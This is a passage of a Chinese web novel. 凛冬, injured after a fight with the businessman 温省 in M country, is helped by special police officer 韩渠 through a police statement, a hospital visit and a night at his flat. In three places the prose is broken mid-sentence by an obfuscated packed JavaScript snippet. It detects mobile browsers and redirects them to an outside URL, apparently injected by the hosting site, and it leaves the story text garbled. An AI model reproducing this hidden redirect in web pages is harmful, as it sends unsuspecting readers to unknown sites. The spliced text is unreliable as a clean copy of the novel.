凛冬喉结动了几次,终于在韩渠怀里放松下来,刚才的激斗几乎耗尽了他的精力,这一松,就软在韩渠手臂里。韩渠顺势将他放在地上,手隔着裤子,一触碰到他的左脚脚踝,他立即发出一声压抑的痛哼。 冷汗直下,他连嘴唇都咬得发白,拼命不再叫出来。 韩渠抬起头,看到他眼中强忍着的眼泪时,眼神微沉。他立即将脸别开,不让韩渠看他如此软弱没用的一面。 韩渠继续检查他的伤,脱臼了,再加上扭伤,肿胀严重,撑得裤子没办法挽上去。韩渠将他的鞋脱下来,拿出随身携带的作战匕首,飞快在他裤子上划下两刀,伤处彻底暴露。 “等下我们去医院,但脱臼要现在就处理。”韩渠一手握着他的脚跟,一手稳着他的小腿,“我有紧急处理的经验,不要怕。但正的那一下会痛,你得忍忍。” 凛冬双手向后撑着满是灰尘的地板,用力得肘关节都颤抖起来,“好,好的,我忍得住。” 韩渠又看了他一眼,点头,“很快。” 韩渠的掌心温暖,凛冬知道自己应该将注意力转移到别处,这样疼痛才不会鲜明,可他根本做不到,周身的感官都聚集到了被韩渠碰触的地方,关节合上的那一刻,凛冬痛得心跳仿佛都停了下来。 “已经好了,骨头应该没有问题。”韩渠放下他的腿,扶住他的肩膀,轻轻拍了拍他拽成石头的手,“刚才很痛吧?” 疼痛的余韵像是涟漪,一圈一圈在左腿震荡,每一下都变得更弱。凛冬虽然将眼泪忍了回去,但眼眶的红却遮掩不了,所以他不敢看韩渠,只发出闷声,“不是很痛。”又补充:“已经不痛了,谢谢。” 温省被卢克亲自带出来,送上警车,露台下面一片嘈杂。凛冬虽然不知道韩渠和卢克怎么会突然出现,但明白自己一定给他们添了麻烦,连忙说:“我也下去。” 但他的双脚却悬了空,膝弯和背被有力的手臂支撑起,他呆滞了一瞬,眼睛睁得很大,“韩,韩队?” “你只有右脚能受力。”韩渠抱他似乎很轻松,快步朝楼梯走去,“这样比扶你下去方便。” 酒店里的灯被打碎了多盏,楼梯和走廊明明灭灭,凛冬动也不动,眼睛都不眨一下,努力消化自己正被韩渠拦腰抱着的事实。 直到即将来到酒店大门时,他才醒悟过来,借着阴影,轻轻靠在韩渠胸膛,感到韩渠似乎看了看他,继续朝酒店外走去。 温省在警车上探头探脑,一见凛冬出来,就叫嚣起来,仿佛受了天大的委屈,“卢克先生,是他威胁要我的命!我的人也是被他弄伤的!你刚才看到了,阿功气都快没了!” 凛冬痛归痛,神志却非常清醒,卢克说的这个阿功,肯定就是被他一刀刺穿手腕的保镖,但阿功怎么可能没气?他从窗户跳下去时,后面分明还打来一梭子子弹。 温省又指着他喊起来,“凛冬,我对你不薄吧?你刚来纱雨镇时是谁帮你牵头做生意?欠你的钱我今天不是都给你结清了?你为什么还要杀我的人?要我的命?” 温省声泪俱下地控诉,仿佛凛冬是个十恶不赦之徒。 “有什么回治安局再说。”韩渠转向卢克,“卢克先生,是这个流程吧?” “当然!”卢克急于证明自己能处理好纱雨镇的安全事件,恶狠狠地将温省再次推进车里,“回去做笔录!所有人都要做!” 韩渠将凛冬放在另一辆警车的后座,正要提出送凛冬去医院检查,凛冬抢先道:“我要先做笔录!” 韩渠皱眉,“你的伤……” “韩队,你已经给我处理过了,不差这点时间。我要是缺席,温省就更有话说,而且,我手上有证据!”凛冬面上坚定,心中却七上八下得厉害,他最在意的是阿功的情况,本能地觉得,温省会在阿功身上做文章。 韩渠沉默几秒,和他一起上了车,“行,我陪你,做完笔录我们再去医院。” 夜里的治安局闹成一锅粥,温省和手下在大厅就已经嚷开了,要卢克必须给他们一个说法,好好治治这些在M国赚钱的外国人。 凛冬一下车,在治安局蹲了半天的白一就冲上来,他眼睛都急红了,恨不得将凛冬胳膊腿卸下来检查一番,“哥,你腿怎么瘸了?” 凛冬看到他就懂了,是他来报了警,所以韩渠才能及时赶到。 “没瘸,脱臼而已,韩队已经给我接上了。” “谢谢韩哥谢谢韩哥!”白一擦着汗水,“我就知道得找你!” 韩渠摇头,“应该的。” 凛冬却欲言又止。韩渠留意到他的异样,但没有立即问。 医院传来消息,阿功已经死了,死因是被割断了气管。温省大恸,哭喊着要卢克给个公道。 凛冬眼前浮现出那个保镖的模样,很瘦,反应也不快,一看就不是什么精锐。M国战乱停歇后,那些作战能力强,且没有伤病的雇佣兵全被李东池整合到了正规的治安队伍里,剩下缺胳膊少腿的、没本事的,成了有钱人的保镖。 保镖也分三六九等,阿功显然是最不入流的。当时他似乎急于表现,想拿下凛冬的人头,但他的射术太差,凛冬情急之下用匕首自卫。要换一个成熟的保镖,凛冬可能逃不过子弹。 完整地将当时的情况梳理一遍,凛冬已经很清楚,阿功是被后来赶到的人补了刀,这人要么是温省本人,要么由温省授意,目的是让他成为杀人凶手。 如果在国内,警察会迅速查清真相,但这里是M国,刑侦那一套离完善还有十万八千里。 明亮的警室里,一边温省正在控诉凛冬不按照合同办事,自己今天请他来酒店,就是为了支付款项,但凛冬狮子大开口,索要更多的钱财,自己拿不出,凛冬就威胁要他的命。另一边凛冬克制地讲述进入酒店后的经过,并展示所带的唯一一件武器——作战匕首。 温省一口咬定,自己没有按时付款的原因是凛冬先违背合同,料定凛冬不愿意说出二人此前发生的龌蹉。凛冬也确实犹豫了许久。 韩渠手按在凛冬肩上,低声道:“这边侦查能力不足,有任何证据,都不要藏起来。没关系的,事情解决之前,我会一直陪着你。” 凛冬深吸气,从战术背心里拿出一个从国内带来的微型摄像头,声音有些颤抖,“从给温省打电话,我就一直开着,它能说明,我没有说谎。” 得知凛冬带着摄像头,温省脸色大变。西雨酒店的监控全部关闭,在场的又全是他的人,自然是他说什么便是什么,现在形势却向凛冬偏转了过去。 微型摄像头记录了凛冬与温省的争执、温省恶劣的话语,以及在凛冬勒住温省之后,温省才打钱,也是温省下令追杀凛冬。 最后一个 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14422742|152766||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 关键视频,凛冬并未伤及阿功的性命,更未刺穿他的气管。 温省哑口无言,却仍不愿认罪,喊道:“那是他的视频,他刻意作假!” 卢克不耐烦地瞪过去,冷笑,“你这是想占便宜遇到了聪明人啊,阿功是不是你杀的?” 温省大喊:“怎么可能?那是我手下!” 卢克太懂奸诈之徒的卑劣,“手下不就是这种时候拿出来挡事的吗?行了,你别给我狗叫,他是怎么死的,我还查不出来?” 接下去治安局还需要在现场提取痕迹,并等待阿功的尸检结果,凛冬完成笔录,可以暂时离开。韩渠对卢克说:“我带他去医院。” 卢克恨不得给韩渠塞一沓钱,连忙勾着韩渠的背说:“哎,今天让你们看笑话了,你放心,这事我一定处理好。那个凛,凛先生,赶紧治疗去!” 纱雨镇医疗资源贫乏,值班的医生刚抢救完阿功,满脸疲惫,打着哈欠给凛冬拍了片,看得打瞌睡。韩渠将片子拿过来,仔细查看,确定骨头没有问题,自作主张让医生开了涂抹的药油。 医生忙不迭地拿药,送走他们,赶紧睡觉。 医院的走廊上,凛冬心不在焉地坐着,韩渠拿着药油走近,他都没发现。他看着对面墙壁,眼神不再像做笔录时那样清澈,好似一台超负荷运转的机器,转着转着,突然丢掉了一枚螺丝。 韩渠在他身边坐下,他这才回过头,“韩队。” “在想阿功的事?”韩渠转着手中的药瓶。 凛冬安静片刻,“嗯。” 他不是凶手,甚至他刺向阿功的那一刀,都是出于自卫,但原本鲜活的生命的确消逝在了他的身后,他看得出,那也是个为生活所胁迫的可怜人。如果不是生在这样的国家,阿功也走不上这条路。 他叹了口气,情绪低落,但身边韩渠的存在感太强,将他的消沉往上托了托,他很想找点话来对韩渠说,可思来想去,还是只有一句:“谢谢。” 走廊尽头的门开合两次,韩渠平静地问:“没想过报警?” 凛冬低头看自己的手,“想过,但这里是M国。” 韩渠倒也了然,这里报警并不能解决所有问题,而且凛冬要的是温省的惧怕和自动远离,报警只会让温省消停一段短暂的时间,继而得寸进尺。 但凛冬在他面前负伤的那一幕还是让他皱起眉。“如果白一今天不来找我,你想过后果吗?” 白一并不清楚凛冬和温省之间的恩怨,但他跟着凛冬干了这么久,第一次见到凛冬明显动怒,凛冬不让他管,他也没有报警的意识,唯一想到的是去找韩渠。韩渠是凛冬的朋友,又是华国来的特警,一定能帮上忙! 韩渠听他没头没脑地说完,立即请卢克出警。再晚一点,后面会发生什么,谁也说不准。 “我……”凛冬说不上来,却忽然鼻腔一酸,豆大的眼泪未经思索便掉了下来,砸在握拳的手背上,发出极轻的一声。 韩渠立即转向他,他却比韩渠更惊讶,搞不懂自己好端端的哭什么,明明最危险的时刻已经过去了,脚踝的剧痛也已经忍过去。他慌忙擦拭眼泪,可他的战术背心里装着匕首,装着摄像头,唯独没有装包裹他脆弱的纸巾。 忽然,眼前出现一条手臂,这条手臂不久前还抱过他,黑色并不柔软的衣袖,露在外面的手腕上游走青色的血管。 韩渠说:“借你用用,不客气。” 抓住韩渠的衣袖时,凛冬指尖轻微地颤了颤,他将眼睛靠过去,湿意连同后怕、委屈,全都浸透在韩渠的手臂上。他的喉咙在忍了一晚上之后,终于发出第一声呜咽,他紧紧地抓着韩渠,脸越埋越深。 韩渠另一只手揽过来,拍拍他的后脑,将他按到怀里。 11.第 11 章 11 “对不起。”凛冬在韩渠怀里轻轻抽噎,双手不自觉地紧抓韩渠的衣服,一遍一遍小声说着:“对不起。” 这不是他人生里最艰难的时刻,早在还是个人人可踩的小明星时,他就吃尽了苦头,而后成为万人追捧的大明星,依旧有许多身不由己。下定决心离乡背井来到M国时,他只是在告别父母的一刻红了眼眶。在M国和各国的商人、地头蛇周旋,吃亏反而让他越挫越勇。只有此时此刻,他管不住眼泪。 从当年遇见韩渠的那一刻起,他仿佛就对这个男人生出无需缘由的信任。他把握不好羽风这个角色,四处取经也毫无章法,但韩渠站在特警中,举手投足都牵引着他的目光,他还不知道韩渠的名字,可他的身体已经开始模仿。甚至韩渠将他当做可疑分子拦截住,他都在琢磨韩渠逮人的姿势。 韩渠“背叛”所有人去执行卧底任务,连韩渠的队友都认为韩渠已是敌方的人,他这个毫无刑侦经验的普通人,反而无条件相信韩渠依然是那个曾经的特警。 他不明白是盲目的爱,给了他盲目的信任,还是先有盲目的信任,才催生出难以言说的爱,如果只用一个词形容韩渠之于他,那或许是“安全”。 所以他才在韩渠身边管不住眼泪,许久郁积在心中的情绪顷刻爆发,一点一点由他泛滥向韩渠。 韩渠没有多说,拍着他的头发,感到怀里的身体渐渐停止了颤抖。 “我准备得还是不够充分。”哭过之后,凛冬嗓音比平时低沉了许多,他舍不得韩渠的怀抱,但也撑了起来,看见韩渠胸口被泪水浸湿的一块,心中愧疚。 “嗯?开始复盘了?”韩渠就像不知道身上袖子上都是他的眼泪。 因为韩渠的态度,凛冬又镇定了一点,“钱要不回来没有关系,就当给他买棺材。只要他以后不再碍我的事就行了。” “你不想要他的命,但他想要你的,要不到,退而求其次,送你进监狱。”韩渠总结道:“温省再怎么唯利是图,也是在M国长大。” 在M国长大,意味着经历过那长达是数年的战乱,意味着杀戮就像吃饭喝水一样简单,意味着人命是最不值钱的东西。 “是啊……”凛冬双手插在头发里,胡乱地揉了揉,“想法都不一样。我应该带上枪……不对,我应该搞到一把枪。” “喂喂。”韩渠笑着打断,“复盘不是这么复盘的。你又不是在这儿长大的,不要成为他们。” “我知道。” 韩渠问:“对了,你会回国吧?” 凛冬低头,没回答韩渠的问题,有些生硬地岔开,“我今天表现不是很好,跳下来那次,我不该扭到脚的。”不提便罢了,一提起来,脚踝又传来激烈的痛感。 韩渠似乎真被岔开了,“哦?身手什么时候变得这么好了?跟谁学的?” “跟……”凛冬对上韩渠的视线,话却转了一个弯,“来M国谋生,总得会点防身的功夫。” “我还以为你会说,是我这个老师教得好。”韩渠状似失落。 凛冬错愕,“韩队……” “开个玩笑。”韩渠说:“陈争跟我说过他们在西北那个牧草加工厂地下室找到你时的情况,你那时……” 凛冬忽然浑身发冷,那是他心里最难过去的一个坎,虽然从结果论来说,他被犯罪分子所胁迫,扮演其中的关键人物,间接促成了韩渠卧底的成功,但是他并没有上帝视角,那时的他,是因为害怕、恐惧,不得不被犯罪分子所利用。 他无数次回想,羽风会屈服吗?韩渠会吗?他们都不会,所以他们是真正的英雄,他是生活在他们庇护下的普通人。 “你那时身手还很差劲。”韩渠的话如同一双手,将在冰水中渐渐下沉的凛冬捞了起来,“现在在子弹里跑酷,比《羽事》里演得还精彩。” 凛冬脱口而出,“你看过了?”说完,他看见韩渠挑起的眉,忽然意识到,韩渠怎么会没看过。 韩渠昏迷不醒时,他天天守在韩渠的病床边,用手机给韩渠放《羽事》,仗着韩渠听不到,小声讲述拍戏的经过,拍哪一段受了伤,哪一段打斗是他自作主张,学韩渠的姿势加进去的。韩渠醒来的那天,手机里的《羽事》放到了大结局。 韩渠伸出三根指头,凛冬不解:“嗯?” “我后来看了三遍。” “你……” 韩渠索性拿出手机,给凛冬看存货,“我下载的。” 凛冬耳尖火辣辣的,“你,你看这么多遍干什么?” “还不是有些人,一来就给放大结局,剧透得太嚣张了。”见凛冬似乎要动他的存货,韩渠连忙将手机收回去。 凛冬难为情,双手放在膝盖上,坐得一动不动。 这时,韩渠手机响了,卢克打来的,法医已经完成了尸检,阿功脖子上的致命伤和手腕上的伤并非同一利器导致,一名保镖承认受温省指使杀害阿功。目前温省等人已经被拘留。 折腾一晚上,凛冬想早点回去,这样韩渠也好休息,但他还没说出回去的话,韩渠先开口:“你暂时住我那儿。” 凛冬愣住,“什么?” 韩渠很谨慎,“温省人是抓起来了,但难保没有跟他沾亲带故的还在外面。你一个人住在村里店里都不安全。等过两天情况彻底摸清楚了再说。” 凛冬却皱起眉,“但是太麻烦你了。” “这有什么?”韩渠向他伸出手,“正好和你聊会儿天。” 韩渠开的是治安局的车,一路上凛冬心里都七上八下,又按捺不住兴奋,韩渠想和他聊天,聊什么? 车即将开到治安局时,凛冬以为韩渠住在里面,难免有些排斥,但车拐了个弯,韩渠像是看穿了他的顾虑,说:“没住治安局里面,在这儿。” 凛冬知道这一片被改造的疗养所,和酒店差不多,但不对外开放,确实是个比他自己住处安全得多的地方。 韩渠住在其中一栋的三楼,是个套房,有客厅和卧室,厨房比较简单,做点日常餐食没问题。凛冬虽然消耗巨大,但毫无睡意,好奇地打量四周。客厅的沙发展开就是个床,靠枕当枕头,他今晚就睡这里。 韩渠刚把电水壶插上,就看见凛冬很有主人翁意识地整理沙发床,似乎还在思考应该睡哪一头。 “先去洗澡吧,洗了把药涂上,你这个需要按摩。”韩渠说:“衣服穿我的,都洗过,介意吗?” “不介意不介意!”话是这么说,凛冬脸颊还是热了起来。 温热的水冲刷在身上,洗去灰尘和汗水,凛冬闭着眼出了片刻神,敲门声响起时,终于有了即将在韩渠家中过夜的实感。 “衣服我放台子上了,内裤是新的。” 凛冬心口一跳,“好,好的,谢谢韩队!” 韩渠拿来的睡衣其实是穿旧的T恤和薄款运动裤,布料洗得非常柔软,上面有洗衣粉的味道。凛冬换上后往镜子前一站,忍不住“啧”了声。他一直都知道韩渠比自己大只很多,上次穿韩渠的外套就对比出来了,但这贴身的睡衣又不一样,松垮得离谱,肩线落到手臂上,袖子和裤脚卷几圈才行。 韩渠见卫生间门打开,正要招呼他来擦药,抬眼一看,笑出声来,“你这……”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14436432|152766||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> “现在流行这种超大码。”凛冬摆正心态,左脚肿着,裤脚挽得更高一些。 药油上写着一大片M国文字,凛冬草草看了几行,就拧开往手心上倒。 韩渠问:“需要我帮忙吗?” 凛冬顿时想到在露台上,韩渠握着他脚跟和小腿的一幕,连忙心虚地低头,“不用不用,这个简单,药也跟国内的差不多,我自己来就行。” 韩渠点头,没有坚持,却在一旁看着凛冬按摩。“以前也用过?” 药油味道强烈,十分醒脑,凛冬假装专心致志,“拍戏的时候会受伤。” “拍《羽事》的时候吗?” “不止,动作戏多多少少会有点磕碰。” “也是自己上药?” 凛冬短暂地回想过去,无人问津时,小伤小病当然只能自己处理,走红之后倒是有团队围着他转,但他习惯了自己上药,这种事一直没有麻烦过别人。 “下次……”韩渠说:“明天我帮你吧。” 凛冬立即转身,韩渠拿过瓶子,笑道:“不然你老以为自己最会上药。” 凛冬嘀咕:“我肯定没有你会。”你受过那么多的伤,我这算什么? “我刚又想了会儿。”韩渠说:“其实你今天用匕首,师父还是我吧?” 医院里的话题被拉了回来,凛冬抱住膝盖,缩成一团,默认了。 韩渠又道:“你想搞枪的话,也有办法。” 凛冬虽然不久前还认为自己吃亏在没有枪上,但此时已经清醒过来,摇头:“我没打算搞枪。我……控制不了那种东西。” “挺好。”韩渠这句回应让凛冬有些摸不着头脑,少顷沉默,韩渠又道:“至少说明,你还没有被这里同化。” 凛冬下巴抵在膝盖上,歪头看着韩渠的侧脸,“不可能的。我不是这儿的人。” “那你会回国吗?”依旧是医院里的问题,凛冬却很难再逃避。“我不知道。”他只能坦诚地说:“我不太想回去。” “不一定非得是M国。”韩渠说:“这里很辛苦。” 你不懂。凛冬在心里说,这是个固执的决定,他并不期待旁人明白,即便这个旁人是韩渠。 凛冬笑了笑,“这里也有很多机遇,我其实,赚了不少钱。这不是还遇到你了吗?” 韩渠说:“遇到我算是好事?” 凛冬移开视线,这句话是玩笑,还是随口而出?他太在意韩渠,以至于无法分辨。片刻,他用尽可能轻松的语气说:“当然是好事。” 两人的视线在灯光下交汇,暗流涌动,几秒后,凛冬打了个并不存在的哈欠,揉着眼说:“我想睡觉了。” 韩渠却没有起身,下巴往卧室方向抬了抬。 凛冬茫然。 “伤号睡里面。”韩渠抱住被凛冬拍了许多下的枕头,“谢谢冬冬哥帮我铺床。” 凛冬拒绝的话还未说出口,韩渠忽然站起来,推着他往卧室走去,“别跟我争,你该睡觉了。” 卧室门关上,凛冬双眼大睁,盯着天花板。外面传来细微的响动,门下漏出些许光亮,是韩渠在洗漱。 凛冬躺得直挺挺的,像具棺材。脑海中过着不久前的一幕幕,最后停留在韩渠抱起他的瞬间。他战术背心里的微型摄像头拍到了韩渠走向他,抱起他,那应该是属于他的,独一无二的画面,此刻却和摄像头一起成为证物,留在治安局。 外面的灯关掉了,他逐渐嗅到周围一丝浅淡的,和睡衣类似的柠檬味道,肌肉逐渐放松。进入梦里之前,他想,一定要想办法,将他的“证物”拿回来。 12.第 12 章 12 凛冬这一觉睡得很沉,白一端着炖好的猪蹄上门,他都还没醒来。 凛冬刚遇到白一的时候,白一的妹妹白闪摔折了腿,白一家里没钱,东拼西凑的钱给白闪看了病,就没余力做食补。凛冬知道后,当天就买了一堆带肉骨头送去白一家,让白一天天炖,白一感激不尽,但凛冬后来居然又买来猪蹄和豆子,炖成白花花一锅。 白一不懂为什么要吃猪蹄,凛冬跟他解释,伤了哪里,就吃哪里,这样好得快。白一想明白后大怒,一拳挥向凛冬,要不是凛冬反应快,那一拳肯定招呼在脸上。 白一又生气又失望,他是真心尊重凛冬,凛冬却,却说他妹妹的脚是猪蹄!他最宝贝的就是妹妹,别人欺辱他可以,但不能欺辱他妹妹。 凛冬坐在地上,皱眉看着急赤白脸的白一,逐渐明白白一是在气什么,他站起来,拍拍灰,“怪我,没跟你说清楚。” 那天,凛冬耐心给白一讲了家乡的习俗,自己小时候摔了腿,长辈也是炖猪蹄来滋补,好一些之后改成味道更好的红烧猪蹄。 白一越听越脸红,低着头给凛冬道歉,还要凛冬教他怎么炖。白闪的腿因为医疗资源的问题落下病根,如今走路也是一瘸一拐的,但白一依旧很感激凛冬,昨天得知凛冬伤的是脚踝,第一反应就是炖猪蹄。 天不亮,镇上的菜市场一开门,他就冲了进去,现在他有钱了,买起猪蹄来就跟凛冬当时一个样。买完后跑到晴天巷,洗干净就开始炖。巷子里热闹起来时,满满一锅白豆猪蹄汤已经被他装进了两个大号保温壶里。 他以为凛冬在村里,开车去了一趟,没人,给凛冬打电话,居然关机了。好在他有韩渠的联系方式,拨过去,凛冬果然和韩渠在一起。得知凛冬暂时住在治安局对面,白一就放心了,优哉游哉开过去,路上还买了一袋水果。 韩渠打开门,白一就要嚷,“冬冬哥,我……” “嘘——”韩渠指了指里面,低声道:“你冬冬哥还没起来。” 白一愣住,要不是双手都被占着,他立马就要捂住嘴。看他这滑稽模样,韩渠忍俊不禁,从他手中接过保温壶,“怎么这么惊讶?进来坐会儿吧。” “不了不了,他还没起来。”白一摆手。 “这么早就起来炖汤,没吃饭吧?”韩渠说:“我刚出去买了点,一起吃?” 白一还真忘了吃早餐,“那行,我就来蹭个早饭。” 桌上摆着还没动的粉和粥,还有烧麦、鸡蛋,一看就是接到白一电话之后出去买的,清淡的归凛冬,其他的韩渠和白一解决。 白一边吃边问凛冬的情况,见凛冬没醒,十分安心,“冬冬哥一般睡不了这么久,我们店就他去得最早,有时我值班呢,我还没醒他就来了。我问他怎么不多睡会儿,他说他瞌睡少。韩哥,肯定是你这儿床特别舒服,你看他都不肯起来。” “昨天累着了,多睡会儿正常。”韩渠说。 白一口味奇特,烧麦都要沾着酸辣酱吃,“那不一样,你们关系到了。” 韩渠放下筷子,“嗯?到什么了?” 白一往卧室的门瞥了一眼,神神秘秘地压着声音,“韩哥,我都知道了,你们有一个孩子。” 韩渠一愣,“孩子?”一时间,脑海中闪现各种可能,可是,他和凛冬怎么会有孩子?谁生的? 白一摇头晃脑,给韩渠看自己手机里的视频,视频一点开,赫然是凛冬,不,准确来说,其实是羽风。 韩渠挑眉,“嗯?” “这不就是你们的孩子?”白一斩钉截铁,“冬冬哥给我说了,是你指导他演羽风,这角色表面是他,内核其实是你。” 韩渠终于明白白一的脑回路了,哭笑不得,却也如发现了什么新事物一般,心中涌起新奇的愉悦。 白一心急火燎吃完早餐,不等凛冬醒来就要走,“韩哥,你给我哥说,店里不用他操心,我们都在呢,他好好养伤,不准他回店里来!” 韩渠笑着将白一送到门口,“放心吧,我盯着你冬冬哥把猪蹄吃完。” 凛冬半梦半醒间听到客厅里的响动,但不知道是白一来了,他翻了个身,紧紧抱着被子。在衣食住行上,他并没有亏待自己,放在晴天巷和村里小院的都是能买到的最好的被子,但哪里的被子都没有此时抱着的暖和。他睡得晕乎乎的,又过了好一阵才坐起来。 低头看看怀里的被子,渐渐清醒,他意识到这暖和也许不是来自被子本身,而是这是韩渠的被子,残留在上面的气息就像韩渠拥着他。 耳朵又开始发烫,凛冬赶紧甩了甩头,迅速爬起来,拿过手机想看看时间,手机已经因为没电而关机了。阳光从窗帘缝里照进来,应该不早了。他轻手轻脚走到门边,打开门向外张望。 “做贼啊?”韩渠的声音忽然响起。 凛冬吓一跳,顿时缩了回去。韩渠挽着衣袖,手上湿漉漉的,“出来吃早午饭吧,有炖猪蹄。” “你炖的?”凛冬来到客厅,才看见阳台上被太阳照得明晃晃的衣服,“我的衣服……你洗了?” “顺便的事。”韩渠拿毛巾擦手,“我的也洗了,今天天气好,晚上就能干。不过等下还是要去你家拿几件过来。” 韩渠语气过于自然,衬得凛冬的心跳如雷更似心怀叵测。他木头人般走进卫生间洗漱,泼了自己好几捧冷水后,才将脸上的热意压下去。 洗衣服,嗯,只是洗衣服,上次韩渠的外套留在他这儿,他也给韩渠洗了。很正常,没关系的。 炖猪蹄还很热,刚好可以和粉一起吃。韩渠将汤倒出来,“白一给你炖的。” 凛冬点头,“尝出来了。”他十多个小时没进食,太饿了,粉和猪蹄都吃得很快。炖猪蹄鲜归鲜,但味道清淡,好在还有小米辣腌萝卜片,综合了口感。吃到一半时,他发现韩渠在对面坐下,他抬头,和韩渠对上视线,“韩队,你也吃点。” “我吃过了,你自己吃。”韩渠说完支起脸颊。 凛冬只好继续吃,余光瞥见韩渠一直看着自己,他又一次抬头,韩渠也没有移开视线。这就有点煎熬了,韩渠是想说什么吗?凛冬暗自琢磨着,啃猪蹄和嗦粉的速度都变慢了,意识到自己这么吃下去,韩渠也会看下去之后,又变得狼吞虎咽。 “我吃饱了。”凛冬站起来收拾桌子,对左脚踝的疼痛无所察觉。 “你坐着,我来。”韩渠动作更快,说话间已经将碗碟抢了过去。 凛冬睡韩渠的吃韩渠的,身上还是韩渠的睡衣,过意不去,“韩队,还是我来吧,我走得动,而且洗碗又不用脚来洗。你去忙其他的。” 韩渠把碗碟丢在水池里,一转身,凛冬瘸着腿,走得却急,跟在他后面,险些撞着他。 “抱歉。”凛冬气恼自己脚不争气。 “我忙什么其他的?”韩渠说:“准备给我派活儿了?” 凛冬说:“你不去治安局吗?我,我耽误你工作了。” 韩渠笑起来,“这又不是在洛城,我天天给卢克干活啊?” 凛冬不肯当个饭来张口的废物,反正已经拐到水池边的,索性手肘往韩渠身上一顶,将人挤开,然后打开水龙头,麻利地洗洗刷刷。韩渠退后两步,靠在桌边看他忙碌,脑中浮现出的是白一那句“孩子”。 倒也不是此时才浮现,从把白一送走到现在,他耳边颠来倒去都是孩子。他,和凛冬,有个孩子。这孩子虽然不是普世观念中的孩子,但羽风确实成了他与凛冬之间一个特殊的,没有任何人可以插足的纽带。 这几年来,凛冬对他来说始终是个不同寻常的人物,白一这石破天惊的比喻,倒是给了他一份踏实的答案。 凛冬洗完碗筷,又发现韩渠在看自己,这次看得比在饭桌上还要明目张胆。他心里忽然跃起一丝不爽,忍不住道:“韩队,你是不是有话要跟我说?” 韩渠是有话要说,但凛冬这么气呼呼地一问,话就卡住了。他这个看似直白的人,反而异常难得地“不好意思”起来。当初教凛冬时,凛冬眼中充满对成功的渴望,那气焰张牙舞爪,很是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14447648|152766||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 明媚,可他苏醒之后见到的凛冬内敛、灰暗了许多,小心翼翼的模样让他不是滋味。刚才,虽然只是短暂的一刻,凛冬又有了过去的热烈。 韩渠倒是有些想退避一下了。 清清嗓子,韩渠拿起衣服,“我得去问问温省那帮人查得怎么样了,你暂时哪里都别去,家里吃的都够。” 凛冬都做好和韩渠理论的准备了,韩渠却要去治安局,还没打出去的拳头悻悻缩回来,松口气,“哦,好,我等你消息。” 门一关,各怀心思的两个人都原地站着发了会儿呆,韩渠按了按太阳穴,将“孩子”赶走,进入治安局后,迅速调整到工作状态。 另一边,凛冬一个被剥夺了工作权的人,无所事事,想帮韩渠做点事,但衣服已经洗了,家里也收拾得很整洁,做饭也用不着他。确认自己真的只能暂时当个废物后,凛冬本着不给韩渠增添更多麻烦的想法,涂抹好药,又做了一番按摩,就坐在沙发上不动了。 温省及手下十来人被关在看守所里,韩渠去看了一眼,温省昨天还很嚣张,今天知道自己踢到铁板,立即老实了,表示一定痛改前非,决不再侵犯凛冬的利益,也会竭尽全力补偿阿功的家人。 “阿功只有一个姐姐,失踪了,可能被人卖到北方,也不知道还活着没。”卢克办公室烟雾缭绕,“阿功给温省当保镖,就是因为别人说保镖来钱快,他要攒钱去北方,温省这个老板又有北方的门路。他拿温省当摇钱树,温省拿他当耗材。” 韩渠推开窗户通风,卢克又道,按照M国的情况,阿功是温省的人,温省会被关个一年半载,然后驱逐出纱雨镇。这已经是最重的惩罚了。 韩渠听完皱起眉,看着窗外沉思。 卢克说:“韩先生,你在担心你的朋友?” 韩渠非常了解M国,所以不需要卢克过多解释他们的不易,“照温省的秉性,他出来会找凛冬麻烦。” 卢克为难道:“我能做的,顶多现在就把温省送到蕉榴市去,让他上首都坐牢,但老实说,他关也就一年多时间。” 韩渠说:“卢克先生,我明白,最近还要辛苦你多盯着温省的人。” “没问题,这我们该做的。”卢克又叹了口气,“我呢,希望你们这些外国人都来投资,我看凛先生在我们纱雨镇生意做得好好的,我想他留下来,这里赚钱这里花。但我跟你交底,纱雨镇什么事都可能发生,你实在放心不下的话,可以带他离开。” “谢谢。我和他商量商量。”韩渠离开后又折返,“对了,凛冬那个微型摄像头还有用吗?” 卢克一拍脑门,“已经取证完了,要么?签个字就可以拿走。” “要凛冬亲自来签字吗?” “原则上要。”卢克想起凛冬脚不方便,“你帮他签也行!” 凛冬的手机已经充好电了,开机就接到韩渠电话,说要去给他拿衣服。凛冬问:“我可以和你一起去吗?” 说好韩渠在车里等,凛冬自己下楼的,他的脚已经不那么痛了,走得慢,但也能走。他草草收拾一番,衣服还没有干,看见椅背上搭着一件韩渠的长风衣,直接穿在身上,开门,韩渠却已经出现在家门口。 凛冬惊讶,“怎么上来了?” 